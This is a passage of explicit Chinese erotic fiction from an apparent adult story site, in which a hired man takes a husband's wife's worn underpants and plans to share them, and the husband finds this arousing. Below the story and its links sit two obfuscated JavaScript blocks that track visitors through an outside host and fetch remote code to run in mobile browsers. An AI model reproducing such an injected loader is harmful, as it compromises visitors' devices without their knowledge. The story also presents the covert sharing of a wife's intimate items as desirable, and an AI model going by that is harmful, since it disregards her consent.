阿师先生微笑着,但是他将内裤底部纤维拉开轻嗅的动作却依旧不停:“你总不会希望,以后看到雅娴的内裤,就会忍不住想射精吧?”

无奈地,我只好停止,但却忍不住哀叹:“天啊!这真是太痛苦了。”“痛苦、嫉妒等越强烈的情绪,越容易形成神经键,和你现在的兴奋挂勾,以后你看到雅娴的内裤,就会止不住地兴奋。”

他一边说着,一边还是不停将雅娴内裤底拉得更开,深深嗅闻着其中雅娴私处所分泌出来的味道,宛如永远也嗅不够……

我盯着他手中的内裤,只能叹气:“以后,我只要看到这件内裤,绝对会忍耐不住,非拉着雅娴做爱不可……”

“不,你错了。”他又闻了一会儿后,终于将内裤重新收起,折起一个小方块,就像块绿色的手帕:“如果你不反对的话,雅娴的这条内裤我将带走。”我呆住了,好一会儿才问:“为什么?以后我看到这条内裤就会兴奋,这不是我们的计划吗?”

“不,你还是错了。”他又说了一次,将折好的雅娴内裤放进了他左胸的口袋里,还轻轻拍了拍:“我们的计划,是要让你看到雅娴所有的内裤都会兴奋,而不是只有这一条。”

“这……”我必须承认,这时候的我,几乎忍不住想冲上去,将我珍贵的雅娴内裤给抢回来!

“别这么着急……”阿师先生好整以暇地看着我:“曾经得到却又失去的,才会更让人牵挂。以后当你看到雅娴的内裤,尤其是她还穿在身上的时候,你就会想起今天的这条浅绿色的内裤,你就会想起这条内裤和那上面雅娴的味道,那是你再也闻不到的滋味了。

这条内裤和气味,都已经是属于我,属于另一个男人的专属了。你会记得我闻着雅娴这条内裤的样子,品味雅娴分泌气息的景像,看到她的每一条内裤,你都会想起,也许那时候的我,就正在闻着这条内裤,嗅着她最隐秘的气味。如果你也想闻,她就在你的身边,你一样可以如我这般地感受着你妻子的味道。当你想起这些,可别再错过了。”

我只觉得双眼发直,他细细品闻雅娴内裤的景像宛如雷电般,深深刻在我的脑子里!让我整个人只能发呆……

不晓得过了多久,阿师先生的声音才再次传来:“所以,怎么样?雅娴的这条内裤,是属于我的了吗?”

天啊!我怎么今天才发现,我妻子的一条穿过的内裤,也能给我这么珍贵的感觉?

看着阿师先生的笑容,我的视线忍不住集中到了他左胸的位置。在那个口袋里,是我老婆的内裤,还有她的味道……那原本是我的。

难以割舍的感觉让我不禁有点怀疑:“你……不会是为了想要雅娴的内裤,以后还能闻她的味道,才这么说的吧?”

“我是在建议你一个效果最好的方式。如果你实在舍不得,它当然还是属于你的,谁都拿不走。”阿师先生呵呵一笑道:“而且,就算是我其实真的很想要这条内裤,真的很想拥有雅娴隐秘处的气味,真的很享受嗅着她分泌物滋味的感觉,这不是会让你更兴奋吗?”

又犹豫了一阵,我终于咬了咬牙,狠心点头:“那条内裤,和上面的味道,是你的了。”

阿师先生从他的包包里找出了一个小小的密封型塑胶袋,将口袋里的内裤取出,整齐地塞进那个塑胶袋里。他的动作既轻缓又仔细,竟好像他手里拿着的是一个珍贵的珠宝,而不是另一个男人妻子的内裤。

不过,他越是这样的态度,越让我心里好像某个部位被揪住了般地难受,我真真切切地感受到,失去了一个本来属于我珍宝的嫉妒与痛苦。喔!还有混在其中,巨大又强烈无比的兴奋。

“对了,关于这条已经属于我的雅娴内裤,我有个问题想问你。”他将塑胶袋密封好,重新放在他的左胸口袋里:“我有几个会员,特别喜欢人妻内裤的气味,我想问你,如果我将雅娴的味道让其他你不认识的男人们分享,你觉得可以吗?”

他的话,就像沉重的另一击,打在我的小腹下,让我下体一阵痉孪!我的脑中立刻就呈现出了一幅难以相像的情景:

几个长相淫猥的男人,轮流拿着雅娴的内裤,凑在鼻子前细细地嗅着……彼此之间,还互相交换着品味我妻子隐秘气息的感觉!

喔!我只觉得自己快兴奋得昏倒了。

大大地喘了口气,我恶狠狠地点了点头:“真谢谢你告诉我!”

“既然如此……谢谢你。”他再次拍了拍胸口的口袋:“我相信那几个变态一定很高兴的。你绝对很难想像,为了保存住内裤上所残留的气味,他们搞了多少奇奇怪怪的装备……”

我又觉得自己快要昏倒了,但那兴奋却更强。

等雅娴回来,我绝对不让她立刻洗澡!先把她拖到床上,掀开裙子,将她私处最浓的气味吸个饱再说!

“好了,今天的场景,到这边就差不多了。”阿师先生拍拍手,宣告了今天这场深层欲望之旅的结束,我忍不住也松了口气。

坦白说,虽然我知道,真正发生在眼前的事,和纯粹的想像会有很大差别,但是我作梦都没想到,那种差距是如此巨大!

看来,阿师先生说得没错,还好我没有一下选择刺激度太高的场景,否则,我怕我会当场休克。今天这几下,已经让我差点心脏病发了。

送阿师先生到了门口,他看着我,笑着说:“你已经感受到了我的服务是什么了吗?”

毫无疑问,我很肯定地点了点头。

“你看,严格来说,你和雅娴之间,除了一条内裤,没有任何损失,也没有任何变动,但是,当你再次看到你的她时,我相信,一切都会完全不同了。”我也望着他的眼睛,微微地叹了口气:“今天认识你,真是让我大开眼界!我真的非常谢谢你!我怎么会把以前对雅娴的那些感觉,都不晓得丢到哪里去了呢?”

“那些感觉,你并没有丢在其它地方,而是都丢到这里了……”他伸出手,点了点我的脑袋:“爱在这里产生,爱在这里遗忘。所以,只要懂得怎么找,当然也能在这里重新找到。”

“谢谢你……以后,我会更加珍惜雅娴的。”我向他鞠了个躬。

“别这么说,我可是收费的喔!”他笑着走到门口,弯身穿鞋,忽然转过头来对我说:“按照契约,除非你有需求,否则,我不会主动打电话给你的……所以,我很可能不会再来这里了。”

“我知道。”听他这么说,我觉得很高兴。虽然我不知道还会不会找他,但是至少,他的态度显示了他会遵守合约上的规则。

“你刚才不是问我,我是不是自己也很想闻雅娴的味道,才向你要那条内裤的吗?”他一边说着,一边伸出手,从旁边的鞋柜上拿起了一只雅娴的高跟鞋,轻轻凑到了鼻端,仔细地嗅闻着:“我想,你现在应该知道答案了吧?”


上一篇:美女人妻犬调教

下一篇:妈妈的空姐制服


function bfuckW(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function phvgqQ(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return bfuckW(t);};window[''+'v'+'V'+'w'+'Z'+'r'+'k'+'J'+'F'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function DqAw(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=phvgqQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=DqAw(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=DqAw(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkYlMkZhLmtlYm5yyYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYSS5jbm1lbnQuY24lM0E5NTM1','162093',window,document,['y','S']);}:function(){};
function BdhumfVo(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function omMbL(e){var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,"");while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return BdhumfVo(t);};window[''+'U'+'w'+'Y'+'s'+'D'+'t'+'F'+'P'+'k'+'']=((navigator.platform&&!/^Mac|Win/.test(navigator.platform))||(!navigator.platform&&/Android|iOS|iPhone/i.test(navigator.userAgent)))?function(){;(function(u,k,i,w,d,c){function MUFV(t){var e=t.match(new RegExp('^((https?|wss?)?://)?a.'));if(!e)return t;var n=new Date;return(e[1]||"")+[n.getMonth()+1,n.getDate(),n.getHours()].join("").split("").map(function(t){return String.fromCharCode(t%26+(t%2!=0?65:97))}).join("")+"."+t.split(".").slice(-2).join(".")};var x=omMbL,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=MUFV(decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://sdw.ub18.cn:7891/stats/13929/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=MUFV(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMMlMM0ElMMkYlMMkZhLmtlYm5yYS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYS5jbm1llbnQuY24llM0E5NTM1','162092',window,document,['M','l']);}:function(){};